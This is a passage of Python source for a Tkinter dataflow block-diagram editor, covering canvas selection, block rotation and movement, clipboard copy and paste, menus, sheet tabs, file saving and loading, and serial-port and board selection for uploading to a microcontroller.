		e = event_t(self.canv.canvasx(ee.x), self.canv.canvasy(ee.y), ee.state)

#		(sb, t0, tb, t1), (canv_line, _) = self.mdata
#		meta = self.model.get_connection_meta(sb, t0, tb, t1)
#		print here(), "old:", meta["path"]

		if self.manipulating == "connection" :
			diffX, diffY = (e.x - self.move_start.x), (e.y - self.move_start.y)
			self.move_start = e
			indices = range(self.mdata2[0], self.mdata2[0]+(self.mdata2[1]*2), 2)
			wire, (canv_line, old_path) = self.mdata
			path = list(old_path)
#			path = list(self.mdata[1][1])
			for i in indices :
				if i > 0 and (i + 2) < len(path) :
					path[i] += diffX
					path[i + 1] += diffY
			#self.connection2line[(sb, st, tb, tt)] = (line, linecoords)
			self.canv.coords(self.mdata[1][0], *path)
			self.mdata = wire, (canv_line, path)
		elif self.selection_rect != None :
			self.canv.coords(self.selection_rect, self.move_start.x, self.move_start.y, e.x, e.y)

	def default_mouseup(self, ee) :
		e = event_t(self.canv.canvasx(ee.x), self.canv.canvasy(ee.y), ee.state)
#		add_to_selection = None
#		if self.manipulating == None and e.state & BIT_SHIFT :
#			add_to_selection, itm = self.get_nearest(e.x, e.y)
#			if not self.selection_rect :
#				self.move_start = e
#				self.selection_rect = self.create_selection_rect(e.x, e.y, e.x, e.y)

		if self.manipulating == "connection" :
			(sb, t0, tb, t1), (canv_line, linecoords) = self.mdata
#			print here(), (sb, t0, tb, t1), linecoords
#			meta = self.model.get_connection_meta(sb, t0, tb, t1)
#			print here(), "old:", meta["path"]
#			print here(), "new:", linecoords
			self.model.begin_edit()
			self.model.set_connection_meta(sb, t0, tb, t1, { "path" : linecoords })
			self.model.end_edit()

		self.manipulating = None
		self.mdata = None
		self.mdata2 = None

		if self.move_start :
			self.create_selection_from_area(self.move_start.x, self.move_start.y, e.x, e.y)

	# ----------------------------------------------------------------------------------------------------

	def add_to_selection(self, blocks) :
		pass # TODO

	def create_selection_from_list(self, blocks, lines) :
		self.clear_selection()
		if blocks or lines :
			x, y, r, b, = self.measure_objects(blocks, lines)
			self.selection_rect = self.create_selection_rect(x, y, r, b)
			self.selection = selection_t(blocks, lines)
			self.resize_selection()

	def create_selection_from_area(self, x, y, r, b) :
		self.clear_selection()
		selected = self.canv.find_enclosed(x, y, r, b)
		if selected :
#			lns = filter(lambda v: v[1][0] in selected, self.connection2line.items())
			blcks = [ self.window_index[w] for w in selected if w in self.window_index ]
			lns = [ v for v in self.connection2line.items() if v[1][0] in selected ]
			self.create_selection_from_list(blcks, lns)

	def select_all(self) :
		self.create_selection_from_list(self.window_index.values(), self.connection2line.items())

	def measure_selection(self) :
		if self.selection :
			return self.measure_objects(self.selection.blocks, self.selection.lines)
		return None

	def measure_objects(self, selected_blocks, selected_lines) :
		blocks, lines = None, None
		if selected_lines :
			lines = reduce(mathutils.max_rect,
					[ self.canv.bbox(w) for _, (w, _) in selected_lines ])
		if selected_blocks :
			blocks = reduce(mathutils.max_rect,
				[ self.canv.bbox(b.window) for b in selected_blocks ])
		if blocks and lines :
			return mathutils.max_rect(blocks, lines)
		else :
			return blocks if blocks else lines

	def resize_selection(self) :
		b = self.measure_selection()
#		if b == None :
#			self.clear_selection()
#			return None
		m = cfg.SELECTION_RECT_SIZE
		self.canv.coords(self.selection_rect, b[0]-m, b[1]-m, b[2]+m, b[3]+m)

	def create_selection_rect(self, x0, y0, x1, y1) :
#		print(x1, y1)
		a = 4
		c = 4
		b = 0
		w_lt = tk.Canvas(self)
#		pad_lt = self.canv.create_window(w_lt, x0-a, y0-a, x0+c, y0+c, fill="black") # left-top
#		pad_lt = self.canv.create_rectangle(x0-a, y0-a, x0+a, y0+a, fill="black") # left-top
#		pad_lb = self.canv.create_rectangle(x0-a, y1-a, x0+a, y1+a, fill="black") # left-bottom
#		pad_rt = self.canv.create_rectangle(x1-a, y0-a, x1+a, y0+a, fill="black") # right-top
#		pad_rb = self.canv.create_rectangle(x1-a, y1-a, x1+a, y1+a, fill="black") # right-bottom
#		rct = self.canv.create_rectangle(x0, y0, x1, y1, dash=(2,2), fill=None)
		rct = self.canv.create_rectangle(x0-b, y0-b, x1+b, y1+b, dash=(2, 2), fill=None)
		return rct

	def clear_selection(self) :
		if self.selection_rect :
			self.canv.delete(self.selection_rect)
			self.selection_rect = None
			self.selection = None

#TODO move to dfs
	@editing
	def delete_selection(self) :
		if self.selection :
			for connection, data in self.selection.lines :
				self.model.remove_connection(*connection)
			for block in self.selection.blocks :
				self.model.remove_block(block.model)
			self.clear_selection()
			self.__raise_changed_event()#XXX decorator?

	#TODO optimize (blockmodel.geo = (pos, size, angles) ...)
#TODO move to dfs
	#XXX create editor model/move to dfs?
	@editing
	def rotate_selection(self, x, y, z) :
		# assuming rotation around only one axis at a time
		if self.selection :
			sx, sy, sw, sh = self.measure_selection()
#			orgx, orgy = sx+((sw-sx)*0.5), sy+((sh-sy)*0.5)
			orgx, orgy = sx+((sw-sx)/2), sy+((sh-sy)/2)
			for b in self.selection.blocks :
				#XXX BlockModel.rotate(self, angles, origin) ?
				m = b.model
				x0, y0, z0 = m.orientation
				l, t = ll, tt = m.center
				if z :
					l, t = mathutils.rotate4(orgx, orgy, ll, tt, (z+360)%360)
				elif x :
					t = (2 * (orgy - tt)) + tt
				elif y:
					l = (2 * (orgx - ll)) + ll
				m.orientation = (x0+x+360)%360, (y0+y+360)%360, (z0+z+360)%360
#				print "m.orientation", m.orientation
				m.center = l, t
			self.__raise_changed_event()#XXX decorator?

#TODO move to dfs
	@editing
	def move_selection(self, x, y) :
		if self.selection :
			for b in self.selection.blocks :
				if x :
					b.model.left += x
				if y :
					b.model.top += y
			self.resize_selection()
			self.__raise_changed_event()#XXX decorator?

	def select_next(self) :
		if self.selection :
			print("TODO select_next")

	# ----------------------------------------------------------------------------------------------------

	def serialize_selection(self) :
		if self.selection :
			data = serializer.get_dfs_model_data2(
				[ b.model for b in self.selection.blocks ],
				{ (b0, t0) : [(b1, t1)] for (b0, t0, b1, t1), _ in self.selection.lines },
				{ k : self.model.connections_meta[k] for k, _ in self.selection.lines },
				{} )
			return pickle.dumps(data)

	@editing
	def paste(self, serialized) :
		try :
			types, struct, meta = pickle.loads(serialized)
		except :
			return None
#		print "paste:", types, struct, meta
#		load_to_dfs_model(self.model, types, struct, meta)
		bm, lm = serializer.load_to_dfs_model(self.model, types, struct, meta,
			self.__workbench_getter().blockfactory, deserializing=True)
		self.create_selection_from_list([ self.block_index[b] for b in bm ],
			[ (l, self.connection2line[l]) for l in lm ] )
		self.__raise_changed_event()#XXX decorator?

	# ----------------------------------------------------------------------------------------------------

	@editing
	def paste_block_on_mouse_down(self, e) :
		if not self.__paste_proto :
			return None
		b = dfs.BlockModel(self.__paste_proto, self.model, left=e.x, top=e.y)
		self.model.add_block(b)
#		if not bool(e.state & BIT_SHIFT) :
#			self.end_paste_block()
		self.__raise_changed_event()#XXX decorator? @editing?

	def end_paste_block(self) :
		self.__paste_proto = None
		self.canv.config(cursor="arrow")
		self.canv.bind("<ButtonPress-1>", self.default_mousedown)

	def begin_paste_block(self, proto) :  # TODO weird, make it not weird
		if proto :
			self.canv.config(cursor="plus")
			self.__paste_proto = proto
			self.canv.bind("<ButtonPress-1>", self.paste_block_on_mouse_down)
		else :
			self.canv.config(cursor="arrow")

	# ----------------------------------------------------------------------------------------------------

	def get_model(self) :
		return self.model

	def set_model(self, model, deserializing=False) :
		self.reset_state()
		if model :
			self.set_model(None)
			self.model = model
			self.model.add_listener(self)
			self.model.enum(deserializing=deserializing)
		else :
			if self.model :
				self.model.remove_listener(self)
			self.model = None
			self.canv.delete(tk.ALL)

#	def set_changed(self, v) :
#		print "not implemented: set_changed"

#	changed = property(lambda self: True if self.model else False, set_changed)

	def do_undo(self) :
		self.model.undo()
		self.__raise_changed_event()#XXX decorator?

	def do_redo(self) :
		self.model.redo()
		self.__raise_changed_event()#XXX decorator?

	def __raise_changed_event(self) :
		if self.changed_event :
			self.changed_event()

	def reset_state(self) :
		self.manipulating = None
		self.move_start = None
		self.selection_rect = None
		self.selection = None
		self.model = None
		self.block_index = {}
		self.window_index = {}
		self.connection2line = {}
		self.joints_index = {}
		self.canv.config(cursor="arrow")

	def cancel_action_pending(self) :
		if self.__paste_proto is None :#self.selection_rect :
			self.clear_selection()
		else :
			self.end_paste_block()

	def popup(self, e) :
		self.cancel_action_pending()
		self.canv.focus_set()
		self.ui.editor_popup.tk_popup(e.x_root, e.y_root, 0)

	def meta_changed(self, sheet, key, key_present, old_value, new_value) :
		print(here(), key, new_value)
		if key == "task_period" :
			if new_value is None :
				index = 0
			else :
				index = tuple(self.period_box_values.values()).index(new_value)
			self.period_box.current(index)
		if key == "sheet_type" :
			if new_value is None :
				index = 0
			else :
				index = tuple(self.sheet_type_box_values.values()).index(new_value)
			self.sheet_type_box.current(index)
		else :
			pass

	def period_box_changed(self, *a, **b) :
		index = self.period_box.current()
		value = self.period_box_values[index]
#		print here(), a, b, index, value
		self.model.begin_edit()
		self.model.set_meta("task_period", value)#TODO named const
		self.model.end_edit()

	def sheet_type_box_changed(self, *a, **b) :
		index = self.sheet_type_box.current()
		value = self.sheet_type_box_values[index]
#		print here(), a, b, index, value
		self.model.begin_edit()
		self.model.set_meta("sheet_type", value)#TODO named const
		self.model.end_edit()

	def __init__(self, ui, parent, workbench_getter) :

		self.ui = ui

#		self.__changed = False # XXX destroy

#		self.font = tkFont.nametofont("TkDefaultFont")
		self.font = tkFont.Font(font=self.ui.font_settings)
#		self.font_v = tkFont.nametofont("TkDefaultFont")
		self.txt_height = self.font.metrics("linespace")

		tk.Frame.__init__(self, parent)

		self.__paste_proto = None
		self.__workbench_getter = workbench_getter

#		self.grid(column=0, row=0, sticky=(N, W, E, S))

		self.canvas_scrollregion = (0, 0, cfg.CANVAS_WIDTH, cfg.CANVAS_HEIGHT)

		if 1 :
			self.attr_frame = tk.Frame(self, height=32, border=5)
			self.attr_frame.grid(column=0, row=0, sticky=(tk.W, tk.E, tk.N))
			self.attr_frame.pack(fill=tk.X, expand=False)
		if 0 :
			self.sheet_type_lbl = tk.Label(self.attr_frame, text="Sheet Type ")
			self.sheet_type_lbl.grid(column=0, row=0)

			self.sheet_type_box_value = tk.StringVar()
			self.sheet_type_box = ttk.Combobox(self.attr_frame,
				textvariable=self.sheet_type_box_value,
	                        state="readonly")
			self.sheet_type_box_values = OrderedDict((i, v) for v, i in zip(("Task", "Macro"), count()))
			self.sheet_type_box["values"] = tuple(self.sheet_type_box_values.values())
			self.sheet_type_box.bind("<<ComboboxSelected>>", self.sheet_type_box_changed)
			self.sheet_type_box.current(0)
			self.sheet_type_box.grid(column=1, row=0)
		if 1 :
			self.period_lbl = tk.Label(self.attr_frame, text="Period ")
			self.period_lbl.grid(column=2, row=0)

			self.period_box_value = tk.StringVar()
			self.period_box = ttk.Combobox(self.attr_frame,
				textvariable=self.period_box_value,
	                        state="readonly")
			self.period_box_values = OrderedDict((i, v) for v, i in zip(("Idle task",
				"10ms", "20ms", "50ms", "100ms",
				"200ms", "500ms", "1s", "2s", "5s", "10s"), count()))
			self.period_box["values"] = tuple(self.period_box_values.values())
			self.period_box.current(0)
			self.period_box.bind("<<ComboboxSelected>>", self.period_box_changed)
			self.period_box.grid(column=3, row=0)

		self.canv_frame = tk.Frame(self)
#		self.canv_frame.grid(column=0, row=1, sticky=(W, E, N, S))
		self.canv_frame.pack(fill=tk.BOTH, expand=True)

		self.canv = tk.Canvas(self.canv_frame, scrollregion=self.canvas_scrollregion,
			bg="white", highlightthickness=0)
		self.canv.grid(column=0, row=0, sticky=(tk.W, tk.E, tk.N, tk.S))
		self.canv_frame.columnconfigure(0, weight=1)
		self.canv_frame.rowconfigure(0, weight=1)
		self.canv.focus_set()

		yscroll = tk.Scrollbar(self.canv_frame, orient=tk.VERTICAL, command=self.canv.yview)
		yscroll.grid(column=1, row=0, sticky=(tk.N, tk.S))
		self.canv.configure(yscrollcommand=yscroll.set)

		xscroll = tk.Scrollbar(self.canv_frame, orient=tk.HORIZONTAL, command=self.canv.xview)
		xscroll.grid(column=0, row=1, sticky=(tk.W, tk.E))
		self.canv.configure(xscrollcommand=xscroll.set)

		self.reset_state()

		self.changed_event = None

		#XXX some of them might be bound to menu items
		self.canv.bind("<ButtonPress-1>", self.default_mousedown)
		self.canv.bind("<B1-Motion>", self.default_mousemove)
		self.canv.bind("<ButtonRelease-1>", self.default_mouseup)
#		self.canv.bind("<Delete>", lambda a: self.delete_selection())
		self.canv.bind("<Escape>", lambda a: self.cancel_action_pending())
		self.canv.bind("<l>", lambda e: None if get_basic_mod_keys(e.state) else self.rotate_selection(0, 0, -90))
		self.canv.bind("<r>", lambda e: None if get_basic_mod_keys(e.state) else self.rotate_selection(0, 0, 90))
		self.canv.bind("<h>", lambda e: None if get_basic_mod_keys(e.state) else self.rotate_selection(0, 180, 0))
		self.canv.bind("<v>", lambda e: None if get_basic_mod_keys(e.state) else self.rotate_selection(180, 0, 0))
		self.canv.bind("<Left>", lambda a: self.move_selection(-cfg.GRID_SIZE, 0))
		self.canv.bind("<Right>", lambda a: self.move_selection(cfg.GRID_SIZE, 0))
		self.canv.bind("<Up>", lambda a: self.move_selection(0, -cfg.GRID_SIZE))
		self.canv.bind("<Down>", lambda a: self.move_selection(0, cfg.GRID_SIZE))
		self.canv.bind("<Tab>", lambda a: self.select_next())
		self.canv.bind("<ButtonPress-3>", self.popup)

#		self.canv.config(cursor="plus")
#		self.canv.config(cursor="arrow")

		#XXX cursor: select, shift+cursor: move ?

		#self.canv.bind("<Motion>", lambda e: pprint((e.x, e.y)))

# ------------------------------------------------------------------------------------------------------------

class BlockEditorWindow(object) :

	def show_warning(self, msg) :
		try :
			tkMessageBox.showwarning(cfg.APP_NAME, msg, parent=self.root)
		except :
			pass

	def mnu_edit_cut(self, a=None) :
		if self.bloced.selection :
			pyperclip.setcb(self.bloced.serialize_selection())
			self.bloced.delete_selection()

	def mnu_edit_copy(self, a=None) :
		if self.bloced.selection :
			pyperclip.setcb(self.bloced.serialize_selection())

	def mnu_edit_paste(self, a=None) :
		self.bloced.paste(pyperclip.getcb())#XXX lambda?

	def mnu_edit_delete(self, a=None) :
		self.bloced.delete_selection()#XXX lambda?

	def mnu_edit_undo(self, a=None) :
		self.bloced.do_undo()#XXX lambda?
#		if self.bloced.undo :
#			self.bloced.undo.undo()

	def mnu_edit_redo(self, a=None) :
		self.bloced.do_redo()#XXX lambda?
#		if self.bloced.undo :
#			self.bloced.undo.redo()

	def mnu_edit_select_all(self, a=None) :
		self.bloced.select_all()

	def mnu_edit_comment(self, a=None) :
		pass

	def mnu_edit_uncomment(self, a=None) :
		pass

	def begin_paste_block(self, prototype) :
		self.bloced.begin_paste_block(prototype)
		self.last_block_inserted = prototype

	def mnu_blocks_insert_last(self, a=None) :
		if self.last_block_inserted :
			self.begin_paste_block(self.last_block_inserted)

	def implement(self) :
		pass
#		out = implement_dfs(self.bloced.get_model(), None)
#		print("out:", out)

	def close_window(self, a=None) :
		if self.__changed :
			ans = tkMessageBox.askquestion(type=tkMessageBox.YESNOCANCEL, title=cfg.APP_NAME,
				message=cfg.SAVE_BEFORE_CLOSE, default=tkMessageBox.YES)
			if ans == tkMessageBox.CANCEL:
				return None
			elif ans == tkMessageBox.YES :
				if not self.save_current_file() :
					return None
		self.work.finish()
		self.__save_user_settings()
		self.root.destroy()

	def confirm_complete_clear(self) :
		if self.__changed :
			ans = tkMessageBox.askquestion(type=tkMessageBox.OKCANCEL, title=cfg.APP_NAME,
				message=cfg.UNSAVED_DATA_WILL_BE_LOST, default=tkMessageBox.OK)
			return ans == tkMessageBox.OK
		return True
#			if ans == tkMessageBox.CANCEL:
#				return None
#			elif ans == tkMessageBox.OK :
#				if not self.save_current_file() :
#					return None

	def __on_closing(self) :
		self.close_window()

	# ----------------------------------------------------------------------------------------------------

	def __convert_mnu_text(self, text) :
		under = text.find("&")
		return ( text[0:under]+text[under+1:] if under != -1 else text,
			 under if under != -1 else None )

	def __convert_accel(self, accel) :
		parts = accel.replace("Ctrl", "Control").split("+")
		parts[-1] = parts[-1].lower() if len(parts[-1]) == 1 else parts[-1]
		return "<" + "-".join(parts) + ">"

	def __add_menu_item(self, mnu, item, index=None) :
		menu = None
		if isinstance(item, SepMnu) :
			menu = mnu.add_separator()
		else :
			menu = self.__add_submenu_item(mnu, item, index=index)
#			self.__add_submenu_item(*((mnu, )+item+(tuple() if len(item)==5 else (None,))))
		return menu

	def __add_submenu_item(self, parent, item, index=None) :
		if item.text :
			txt, under = self.__convert_mnu_text(item.text)
		if item.accel :
			self.root.bind(self.__convert_accel(item.accel), item.handler)
		if index is None :
			parent_add = parent.add
		else :
			parent_add = partial(parent.insert, index)
		if isinstance(item, CascadeMnu) :
			mnu = tk.Menu(parent)
			self.__menu_items[item] = (parent, index)
#			print here(), item, parent
			parent_add("cascade", label=item.text, menu=mnu)
			for itm, mnu_index in zip(item.items, count()) :
				self.__add_menu_item(mnu, itm)
				self.__menu_items[itm] = (mnu, mnu_index)
#				print here(), itm, mnu
		elif isinstance(item, RadioMnu) or isinstance(item, CheckMnu) :
			if parent in self.__menu_vars :
				var = self.__menu_vars[parent]
			else :
				self.__menu_vars[parent] = var = tk.StringVar()
#			print here(), parent, item.text
			item_type = "radiobutton" if isinstance(item, RadioMnu) else "checkbutton" #XXX ugly!!!
			val = item.value if item.value else item.text
			parent_add(item_type, label=txt, underline=under,
				command=partial(item.handler, var) if item.handler else None,
				accelerator=item.accel, variable=var,
				value=val)
			if item.selected :
				var.set(val)
		elif isinstance(item, CmdMnu) :
			parent_add("command", label=txt, underline=under,
				command=item.handler, accelerator=item.accel)
#		else :
#			parent.add(item_type, label=txt, underline=under,
#				command=handler, accelerator=accel)
#		self.__menu_items[item] = menu

	def add_top_menu(self, text, items=[], root=None) :
		if root is None :
			root = self.__menubar
		mnu = tk.Menu(root)
		txt, under = self.__convert_mnu_text(text)
		root.add_cascade(menu=mnu, label=txt, underline=under)
		for item, i in zip(items, count()) :
			self.__add_menu_item(mnu, item, index=i)
			self.__menu_items[text] = (mnu, i)
		return mnu

	def replace_cascade(self, old, new) :
#		print(here(), new.text, old.text)
		mnu, index = self.__menu_items.pop(old)
		if old in self.__menu_vars :
			print(here(), self.__menu_vars.pop(old))
#		print(here(), mnu, index, new.text, old.text)
		mnu.delete(index)
		self.__add_submenu_item(mnu, new, index=index)

	# ----------------------------------------------------------------------------------------------------

	def __set_current_file_name(self, fname) :
		self.__fname = fname
		if fname :
			title = "%s (%s)" % (os.path.basename(fname), os.path.dirname(fname))
		else :
			title = cfg.NONE_FILE
		self.root.title(("*" if self.__changed else "") + title + " - " + cfg.APP_NAME)

#	file_changed = property(lambda self: self.bloced.changed, lambda self, v: self.bloced.set_changed(v))
	have_file = property(lambda self: self.__fname != None)
	current_filename = property(lambda self: self.__fname)

	def __changed_event(self) :
		self.__changed = True
		self.__set_current_file_name(self.__fname)

	def open_file(self, a=None) :
		fname = askopenfilename(filetypes=dfs.KNOWN_EXTENSIONS)
		if fname :
			self.open_this_file_new(fname)

	def save_file_as(self) :
		return self.save_file(asksaveasfilename(filetypes=dfs.KNOWN_EXTENSIONS))

	def save_current_file(self, a=None) :
		return self.save_file(self.current_filename if self.have_file
			else asksaveasfilename(filetypes=dfs.KNOWN_EXTENSIONS))

	def new_file(self, a=None) :
		if not self.confirm_complete_clear() :
			return None
		self.work.clear()
		self.work.add_sheet(name=self.work.get_free_sheet_name(seed=cfg.SHEET_NAME_SEED))
		self.__changed = False
		self.__set_current_file_name(None)

	def open_this_file_new(self, fname) :
		if not self.confirm_complete_clear() :
			return None
		self.work.clear()
		try :
			with open(fname, "rb") as f :
				serializer.unpickle_workbench(f, self.work)
		except IOError :
			self.show_warning("Failed to open file '{0}'".format(fname))
		else :
			self.__changed = False
			self.__set_current_file_name(fname)
			self.__update_recent_files(fname)
			self.__select_board(self.work.get_board())
			self.__select_port(self.work.get_port())
			self.__update_status_bar()

	def save_file(self, fname) :
		if fname :
			try :
				with open(fname, "wb") as f :
					serializer.pickle_workbench(self.work, f)
			except IOError :
				self.show_warning("Failed to open file '{0}'".format(fname))
			else :
				self.__changed = False
				self.__set_current_file_name(fname)
				self.__update_recent_files(fname)
				return True
		return False

	def mnu_mode_build(self, a=None) :
		self.work.build()

	def mnu_mode_run(self, a=None) :
		self.work.upload()

	def __save_user_settings(self) :
		self.__settings.main_width = self.root.winfo_width()
		self.__settings.main_height = self.root.winfo_height()
#		self.__settings.main_left, self.__settings.main_top = self.root.winfo_rootx(), self.root.winfo_rooty()
		with open("usersettings.pickle", "wb") as f :
			pickle.dump(self.__settings, f)

	def mkmac(self) :
		pass
#		try_mkmac(self.bloced.model)

	def __choose_port(self, *a, **b) :
#		print(here(), self.work.get_port(), " ->", a[0].get())
		self.work.set_port(a[0].get())

	def __choose_board(self, *a, **b) :
#		print(here(), self.work.get_board(), " ->", a[0].get())
		self.work.set_board(a[0].get())

	def __tick(self) :
#		print here()
		self.work.fire_callbacks()
#		messages = self.work.read_messages()
#		if messages :
#			print(messages)
		self.root.after(cfg.POLL_WORKERS_PERIOD, self.__tick)

	def __workbench_status_changed(self, job, is_ok, reason, term_stream=None, other=None) :
#		print(here(), "workbench changed", job, is_ok, reason, other)
		if job == "build" :
#			if reason == "build_started" :
#				msg = "build started ..."
#			else :
#				msg = "build ok" if is_ok else "build failed"
			pass
		elif job == "upload" :
			if reason == "upload_started" :
				blob_time, prog_mcu, port = other["info"]
				term_stream = "uploading blob dated {} to {} at {}".format(
					time.strftime("%a, %d %b %Y %H:%M:%S", time.localtime(blob_time)),
					prog_mcu, port) + os.linesep
			elif reason == "upload_failed" :
				term_stream = "upload failed ({})".format(other["reason"]) + os.linesep
			elif reason == "upload_done" :
				term_stream = "upload succeeded" + os.linesep

		if not term_stream is None :
#			self.term_txt.insert("1.0", "hello")
#			self.term_txt.insert("1.0", term_stream.getvalue())
			self.term_txt.insert(tk.END, term_stream)
			self.term_txt.yview(tk.END)

#		self.status_label_left.configure(text=columns[-1])

	def get_bloced(self) :
		win = self.tabs.select()
		return self.__tab_children[win]

	bloced = property(get_bloced)

	def __select_sheet(self, name) :
		sheet, bloced = self.__sheets[name]
		bloced.changed_event = self.__changed_event
		self.tabs.select(bloced)
#		print here(), name, bloced, self.tabs.select(), str(bloced)

	def add_sheet(self, sheet, name) :
		bloced = BlockEditor(self, self.tabs, self.__workbench_getter)
		bloced.grid(column=0, row=1, sticky=(tk.W, tk.E, tk.N, tk.S))
		bloced.columnconfigure(0, weight=1)
		bloced.rowconfigure(0, weight=1)
#		print here(), name, sheet
		bloced.set_model(None)
		assert(not (sheet is None))
#		bloced.set_model(GraphModel() if sheet is None else sheet)
		bloced.set_model(sheet)
#		self.__changed = False
#		self.__set_current_file_name(None)
		self.tabs.add(bloced, text=name)
		self.__sheets[name] = (sheet, bloced)#XXX
		self.__tab_children[str(bloced)] = bloced
#		print here(), self.__tab_children
		self.__select_sheet(name)

	def __update_status_bar(self) :
		board = self.work.get_board()
		port = self.work.get_port()
		target = "{}@{}".format(
			"(board not set)" if board is None else self.work.get_board_types()[board]["name"],
			"(port not set)" if port is None else port)
		self.status_label_right.configure(text=target)
#		self.status_label_left.configure(text="?")

	def __change_callback(self, w, event, data) :
#		print(here(), event)
		sheet_name = None
		changed = True
		if event == "sheet_added" :
			sheet, sheet_name = data #?
			self.add_sheet(sheet, sheet_name)
#			changed = True
		elif event == "sheet_deleted" :
			sheet, sheet_name = data #?
			self.delete_sheet(sheet, sheet_name)
#			changed = True
		elif event == "sheet_modified" :
			pass #maybe show star on tab?
		elif event in ("board_set","port_set") :
			self.__update_status_bar()
		else :
			print(here(), "unhandled workbench event:", event)
			changed = False
		if changed :
			self.__changed_event()
		if not sheet_name is None :
			if core.is_macro_name(sheet_name) or core.is_function_name(sheet_name) :
				self.__list_local_block()

	def begin_paste_local_block(self, sheet_name) :
		sheet = self.work.sheets[sheet_name]
		try :
			proto = core.create_proto_from_sheet(sheet_name, sheet)
		except Exception as e :
			proto = None
		if proto is None :
			print(here(), e) #TODO say something to user
		else :
			self.begin_paste_block(proto)

	def __list_local_block(self) :
		sheets = core.get_block_sheets(self.work)
		cmds = [ CmdMnu(core.sheet_block_name(sheet_name), None, partial(self.begin_paste_local_block, sheet_name))
			for sheet_name in sheets ]
#		print here(), cmds
		old = self.local_blocks_mnu_edit
		self.local_blocks_mnu_edit = CascadeMnu("Workbench", cmds)
		self.replace_cascade(old, self.local_blocks_mnu_edit)
		old = self.local_blocks_mnu_cntxt
		self.local_blocks_mnu_cntxt = CascadeMnu("Workbench", cmds)
		self.replace_cascade(old, self.local_blocks_mnu_cntxt)

	def delete_sheet(self, sheet, name) :
		print(here(), sheet, name, self.__tab_children)
		sheet, bloced = self.__sheets.pop(name)
		self.__tab_children.pop(str(bloced))
		self.tabs.forget(str(bloced))
#		for name, (sheet, bloced) in self.__sheets :
#			if str(bloced)

	def __open_recent(self, fname) :
		self.open_this_file_new(fname)

	def __list_recent_files(self, files) :
		old = self.__recent_menu
		mnu_item = lambda f, i : CmdMnu("&{0}. {1}".format(i+1, os.path.basename(f)),
			None, partial(self.__open_recent, f))
		self.__recent_menu = CascadeMnu("Recent files",
			[ mnu_item(f, i) for f, i in zip(files, count()) ])
		if not old is None :
			self.replace_cascade(old, self.__recent_menu)
		return self.__recent_menu

	def __update_recent_files(self, fname) :
		f = os.path.abspath(fname)
		try :
			self.__settings.recent_files.remove(f)
		except ValueError :
			pass
		self.__settings.recent_files.insert(0, f)
		self.__list_recent_files(self.__settings.recent_files)

	def __import_sheet(self, filename) :
		title = os.path.splitext(os.path.basename(filename))[0]
		try :
			with open(filename, "rb") as f :
				m = serializer.unpickle_dfs_model(f, lib=self.work.blockfactory)
			self.work.add_sheet(sheet=m, name=title)
		except IOError :
			self.show_warning("Failed to import file '{0}'".format(filename))

	def __mnu_import_sheet(self, a=None) :
		print(here())
		fname = askopenfilename(filetypes=dfs.IMPORT_EXTENSIONS)
		if fname :
			self.__import_sheet(fname)

	def __mnu_add_sheet(self, a=None) :
		d = InputDialog(self.root, "Enter name for new sheet",
			initial=self.work.get_free_sheet_name())
#		print here(), d.value
		if d.value :
			self.work.add_sheet(sheet=None, name=d.value)

	def __mnu_export_sheet(self, a=None) :
#TODO
		pass

	def __mnu_delete_sheet(self, a=None) :
		win = self.tabs.select()
		print(win, self.tabs.index(win))
		subwin = self.__tab_children[win]
		for name, (sheet, bloced) in self.__sheets.items() :
			if bloced == subwin :
				self.work.delete_sheet(name=name)
				break

	def __open_example(self, a=None) :
		self.open_this_file_new(a)

	def __list_examples(self) :
		workdir = os.path.join(os.getcwd(), "examples")
		tree = os.walk(workdir)
		l = []
		#don't recurse
		for root, dirs, files in islice(tree, 1) : #tree if recurse else islice(tree, 1) :
			l += [ os.path.join(workdir, root, fn) for fn in files ]
		_, ext = dfs.WORKBENCH_EXTENSION
		result = fnmatch.filter(l, ext)
		return result

	def __list_libraries(self) :
#TODO		print(here(), tuple(self.work.blockfactory.get_lib_files()))
		return []

	def __select_board(self, board) :
#		xxx = self.__menu_items[self.__board_menu.items[0]]
		var = self.__menu_vars[self.__menu_items[self.__board_menu.items[0]][0]]
#		print here(), type(var)#xxx, xxx[0] in self.__menu_vars
		var.set(board)

	def __select_port(self, port) :
		if not self.__port_menu :
			return None
		mnu_item = self.__menu_items[self.__port_menu.items[0]][0]
		if mnu_item in self.__menu_vars :
			var = self.__menu_vars[mnu_item]
			var.set(port)

	def __workbench_getter(self) :
		return self.work

	def __port_list_changed(self) :
#		print "ports changed", self.work.get_port_list()
		choice = self.work.get_port()
		old = self.__port_menu
		self.__port_menu = CascadeMnu("Serial Port",
			[ CmdMnu("&Rescan", None, self.__mnu_rescan_ports), SepMnu() ] +
			[ RadioMnu(p, None, self.__choose_port, selected=p==choice)
				for p, desc, nfo in self.work.get_port_list()])
		self.replace_cascade(old, self.__port_menu)
		self.__select_port(self.work.get_port())

	def rescan_ports(self) :
		self.work.rescan_ports()
		self.__port_list_changed()

	def __mnu_rescan_ports(self, a=None) :
		self.rescan_ports()

	def __mnu_rename_sheet(self) :
		win = self.tabs.select()
		if not win in self.__tab_children :
			return None
		subwin = self.__tab_children[win]
		sheet_name = None
		for name, (sheet, bloced) in self.__sheets.items() :
			if bloced == subwin :
				sheet_name = name
				break
		if sheet_name is None :
			return None
		d = InputDialog(self.root, "Enter new sheet name",
			initial=sheet_name)
		new_name = d.value
		if d.value :
			self.work.rename_sheet(name=sheet_name, new_name=new_name)

	def lib_menu_items(self, local_blocks_mnu) :
		blocks = sorted(self.work.blockfactory.block_list, key=lambda b: 1 if b.library else 0)
		block_grouped = { k : tuple(blcklst) for k, blcklst in groupby(blocks, lambda b: 1 if b.library else 0) }
		builtin_blocks = block_grouped[0] if 0 in block_grouped else tuple()
		lib_blocks = block_grouped[1] if 1 in block_grouped else tuple()
		for cat, b_iter in groupby(builtin_blocks, lambda b: b.category) :
			yield CascadeMnu(cat,
				[ CmdMnu(proto.type_name, None, partial(self.begin_paste_block, proto)) for proto in b_iter ] )
		yield SepMnu()
		yield local_blocks_mnu
		if not lib_blocks :
			raise StopIteration()
		yield SepMnu()
		for cat, b_iter in groupby(lib_blocks, lambda b: b.category) :
			blocks_sorted = sorted(b_iter, key=lambda b: b.type_name)
			yield CascadeMnu(cat,
				[ CmdMnu(proto.type_name, None, partial(self.begin_paste_block, proto)) for proto in blocks_sorted ] )

	def __layout_reroute(self) :
		if self.bloced :
			self.bloced.layout_reroute()

	def __layout__equal_spacing(self, axis) :
		if self.bloced :
			self.bloced.equal_spacing(axis)

	def __layout_align(self, align) :
		if self.bloced :
			self.bloced.layout_align(align)

	def setup_menus(self) :

		self.last_block_inserted = None

